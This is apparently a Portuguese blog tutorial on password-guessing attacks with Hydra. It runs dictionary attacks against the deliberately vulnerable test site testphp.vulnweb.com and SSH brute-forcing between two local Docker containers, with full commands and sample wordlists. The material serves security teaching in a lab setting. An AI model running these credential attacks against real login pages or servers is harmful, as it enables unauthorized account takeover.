Realizando ataques de força bruta em containers docker usando hydra
Tags: hydra, docker, kali, linux
Published: 2023-11-20 22:40:13

Neste post iremos entender como usar a ferramenta hydra para ataques de força bruta e de dicionário através de um site ou de um computador para outro. Podemos entender por definição:

> Um **ataque de dicionário** é um ataque às senhas que **usa palavras ou frases comuns encontradas em dicionários para comprometer credenciais de usuários**. Caso seja uma pessoa que usa palavras do dicionário ou frases comuns como senha, você corre o risco de ser vítima de um ataque de dicionário. Fonte: [Keeper Security](https://www.keepersecurity.com/pt_BR/threats/dictionary-attack.html#:~:text=Um%20ataque%20de%20dicion%C3%A1rio%20%C3%A9,de%20um%20ataque%20de%20dicion%C3%A1rio.)


> Brute Force é um ataque “Hacker” usado para tentar descobrir a combinação certa de uma senha, tentando várias combinações diferentes. O ataque pode ser feito de forma manual, colocando as senhas uma por vez até que a verdadeira seja encontrada. Fonte: [Brasil Cloud](https://brasilcloud.com.br/brute-force-o-que-e-e-como-se-prevenir/#:~:text=Como%20funciona%20e%20para%20que,que%20a%20verdadeira%20seja%20encontrada.)

Para realizar os ataques utilizaremos um ambiente controlado usando containers docker. Para você que é leigo com docker digamos que os dockers podem ser usados como máquinas virtuais mas de uma forma mais simples e leve, como se criar uma máquina vitual fosse como preparar uma lasanha do zero e o docker fosse uma lasanha pronta para esquentar no microondas. Ao invés de gastarmos tempo preparando os ingredientes basta pegar uma imagem pronta (seu sabor de lasanha favorito) e a partir dela preparar o seu almoço (container docker).
A imagem que vamos usar é a [cancitoo/kali-linux-ssh-hydra](https://hub.docker.com/r/cancitoo/kali-linux-ssh-hydra) basta ir na sua maquina e digitar o comando abaixo (é preciso ter o docker instalado na sua máquina):
```bash
docker pull cancitoo/kali-linux-ssh-hydra
```
A aqui já temos o necessário para relizar nosso laboratório.

# Usando ataque de dicionário em um site

Para esse ataque iremos criar a nossa primeira máquina, aqui no exemplo usaremos o seguinte comando:
```bash
docker run --name pc01 -p 6050:22 -i -t cancitoo/kali-linux-ssh-hydra bash
```
Nesse comando criamos um container chamdo `pc01` e sua porta 22 será a 6050 da máquina real, ele também já abre nossa máquina no terminal como um bash. A partir daqui já usando no terminal a nossa máquina `pc01`. Caso no futuro você queira acessa novamente a `pc01` basta digitar o comando abaixo:

```bash
#para executar um container ja aberto
docker exec -it pc01 /bin/bash
```
Pronto! Nossa máquina já está pronta para fazer o ataque! Nesse caso, vamos usar atacar o site `http://testphp.vulnweb.com/login.php` com o comando abaixo:
``` bash
hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -p 0000 -t 10
```
Aqui podemos observar que o hydra faz o ataque via uma requisição http inserindo os valores de user com  a flag `-l` e senha `-P` de forma respectiva nos parametros `USER` e `PASS` dentro endereço usado. O ataque deu errado pois a senha do comando acima `0000` não é a correta. Agora vamos montar em `pc01` nosso próprio dicionário. Digite o comando abaixo:
```bash
nano /tmp/pass.txt
```
vai aparece o editor nano, coloque nele uma lista de possíveis senhas:
```txt
0000
1234
4321
3434
4545
teste
nome
nada
```
Agora vamos rodar novamente o comando mas desta vez com a flag de password em maiusculo usando nosso novo arquivo `/tmp/pass.txt`:
``` bash
hydra testphp.vulnweb.com http-form-post "/userinfo.php:uname=^USER^&pass=^PASS^:login page" -l test -P /tmp/pass.txt -t 10
```
Desta vez o docker irá rodar todo o arquivo `/tmp/pass.txt` procurando a senha correta. Assim ocorre o ataque de força brutaa. Dest vez vai dar certo o ataque pois a senha correta `teste` consta no nosso dicionário.

# atacando uma maquina para a outra via ssh
Agora vamos criar uma nova máquina `pc02` semelhante ao que fizemos com `p01`:
```bash
docker run --name pc02 -p 6051:22 -i -t cancitoo/kali-linux-ssh-hydra bash

#para executar um container ja aberto
docker exec -it pc02 /bin/bash
```
Repare que dessa vez a porta 22 é a 6051 da maquina real. Vamos adicionar uma camada de segurança em `pc02`. Por padrão o container não vem com senha, para configurar a senha de `pc02` basta digitar o comando abaixo e seguir as instruções:
```bash
#para gerar uma senha pro root
passwd
```
Agora vamos configurar o ssh na máquina `pc02`. Isso vai permitir  conexão ssh de `pc01` para `pc02`:
```bash
#definir da chave de acesso remota
ssh-keygen -A

#iniciar o serviço SSH
service ssh start
```
Voltando para `pc01` vamos adicionar  senha criada em `pc02` no nosso dicionário e criar um novo dicionário com logins:

```bash
# Atualizar dicionario com senha
nano /tmp/pass.txt
# criar lista de possíveis usuários
nano /tmp/users.txt
```
Aqui vai um exemplo para `/tmp/users.txt`
```txt
pedro
carlo
root
admin
```
Mas ainda falta saber qual o ip de `pc02`, para isso vamos rodar esse comando em um terminal à parte:
abaixo:
```bash
docker inspect -f "{{ .NetworkSettings.IPAddress }}" pc02
```
Vamos fazer de conta que a respota veio `172.17.0.2`. Agora basta executar hydra na porta de ataque
```bash
 hydra -L /tmp/users.txt -P /tmp/pass.txt 172.17.0.2 ssh
```